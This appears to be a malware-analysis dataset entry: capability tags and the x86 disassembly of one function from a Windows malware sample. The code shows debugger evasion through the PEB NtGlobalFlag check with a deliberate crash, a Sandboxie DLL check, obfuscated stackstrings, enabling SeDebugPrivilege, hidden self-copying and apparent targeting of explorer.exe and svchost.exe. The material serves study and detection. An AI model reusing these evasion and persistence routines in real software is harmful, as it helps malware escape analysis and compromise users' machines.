Function at 0x4116d0
Capabilities:
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
push 0
call fcn.00411cd4
push eax
call fcn.00411ca5
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edx
mov eax, eax
nop
mov edx, edx
nop
mov ebx, ebx
nop
pushal
pushfd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 0x68]
cmp eax, 0x70
jne 0x41171c
mov eax, 0
mov dword [eax], eax
popfd
popal
mov ecx, ecx
mov edx, edx
nop
nop
mov ecx, ecx
nop
mov edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ebx, ebx
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x8f]
mov byte [ebp - 0x90], bl
push 0x3e0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x40a050
lea eax, [ebp - 0x90]
push 0x40a044
push eax
call dword [0x409150]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
push ebx
push 0x1f0003
call dword [0x40906c]
test eax, eax
jne 0x411b23
lea edx, [ebp - 0xc]
mov al, 0x6c
push edx
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], al
mov byte [ebp - 6], al
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], al
mov byte [ebp - 2], al
mov byte [ebp - 1], bl
call dword [fcn.00409050]
test eax, eax
jne 0x411b23
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edx
mov eax, eax
nop
mov edx, edx
nop
mov ebx, ebx
nop
pushal
pushfd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 0x68]
cmp eax, 0x70
jne 0x4117f4
mov eax, 0
mov dword [eax], eax
popfd
popal
mov ecx, ecx
mov edx, edx
nop
nop
mov ecx, ecx
nop
mov edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x74
push 0
mov byte [ebp - 0x35], al
mov byte [ebp - 0x34], al
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x45], al
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3e], al
lea eax, [ebp - 0x298]
push 0x14
mov cl, 0x25
mov bl, 0x5c
mov dl, 0x66
push eax
push 0
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x33], dl
mov byte [ebp - 0x32], cl
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2d], dl
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x48], cl
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], bl
mov byte [ebp - 0x44], 0x65
mov byte [ebp - 0x43], 0x6d
mov byte [ebp - 0x42], cl
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x2e
mov byte [ebp - 0x3d], dl
mov byte [ebp - 0x3c], 0
call dword [0x409148]
call fcn.00411cb2
cdq
mov ecx, 0xc8
idiv ecx
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x194]
add edx, 0xa
push edx
lea edx, [ebp - 0x298]
push edx
push eax
push ecx
call fcn.00411c10
call fcn.00411cb2
cdq
mov ecx, 0xc8
idiv ecx
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x39c]
add edx, 0xa
push edx
lea edx, [ebp - 0x298]
push edx
push eax
push ecx
call fcn.00411c10
add esp, 0x20
lea edx, [ebp - 0x194]
push edx
call dword [0x409068]
cmp eax, 0xffffffff
je 0x411904
lea eax, [ebp - 0x39c]
lea ecx, [ebp - 0x194]
push eax
push ecx
call dword [0x409064]
lea edx, [ebp - 0x39c]
push edx
call dword [fcn.00409020]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edx
mov eax, eax
nop
mov edx, edx
nop
mov ebx, ebx
nop
pushal
pushfd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 0x68]
cmp eax, 0x70
jne 0x411934
mov eax, 0
mov dword [eax], eax
popfd
popal
mov ecx, ecx
mov edx, edx
nop
nop
mov ecx, ecx
nop
mov edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x194]
push eax
call fcn.004111c0
add esp, 4
lea ecx, [ebp - 0x194]
push 6
push ecx
call dword [0x409030]
mov cl, 0x67
mov dl, 0x72
mov bl, 0x69
mov byte [ebp - 0x56], cl
mov byte [ebp - 0x54], dl
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x4e], cl
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x21], dl
mov al, 0x65
xor bl, bl
mov cl, 0x78
mov dl, 0x2e
mov byte [ebp - 0x5c], 0x53
mov byte [ebp - 0x5b], al
mov byte [ebp - 0x5a], 0x44
mov byte [ebp - 0x59], al
mov byte [ebp - 0x58], 0x62
mov byte [ebp - 0x57], 0x75
mov byte [ebp - 0x55], 0x50
mov byte [ebp - 0x52], 0x76
mov byte [ebp - 0x50], 0x6c
mov byte [ebp - 0x4f], al
mov byte [ebp - 0x4d], al
mov byte [ebp - 0x4c], bl
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x22], al
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x76
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x68
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], bl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edx
mov eax, eax
nop
mov edx, edx
nop
mov ebx, ebx
nop
pushal
pushfd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 0x68]
cmp eax, 0x70
jne 0x411a37
mov eax, 0
mov dword [eax], eax
popfd
popal
mov ecx, ecx
mov edx, edx
nop
nop
mov ecx, ecx
nop
mov edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x5c]
push 1
push edx
call fcn.00411460
add esp, 8
test eax, eax
je 0x411b07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edx
mov eax, eax
nop
mov edx, edx
nop
mov ebx, ebx
nop
pushal
pushfd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 0x68]
cmp eax, 0x70
jne 0x411a94
mov eax, 0
mov dword [eax], eax
popfd
popal
mov ecx, ecx
mov edx, edx
nop
nop
mov ecx, ecx
nop
mov edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x194]
lea ecx, [ebp - 0x28]
push eax
push ecx
call fcn.00410c00
add esp, 4
push eax
call fcn.00411550
add esp, 8
test eax, eax
jne 0x411b23
lea edx, [ebp - 0x194]
lea eax, [ebp - 0x18]
push edx
push eax
call fcn.00410c00
add esp, 4
push eax
call fcn.00411550
add esp, 8
test eax, eax
jne 0x411b23
lea ecx, [ebp - 0x194]
push ecx
call dword [0x409044]
mov esi, dword [0x409060]
push 0x2710
call esi
jmp 0x411afe
lea edx, [ebp - 0x194]
push edx
call dword [0x409044]
mov esi, dword [0x409060]
push 0x2710
call esi
jmp 0x411b1a
call fcn.00410ea0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10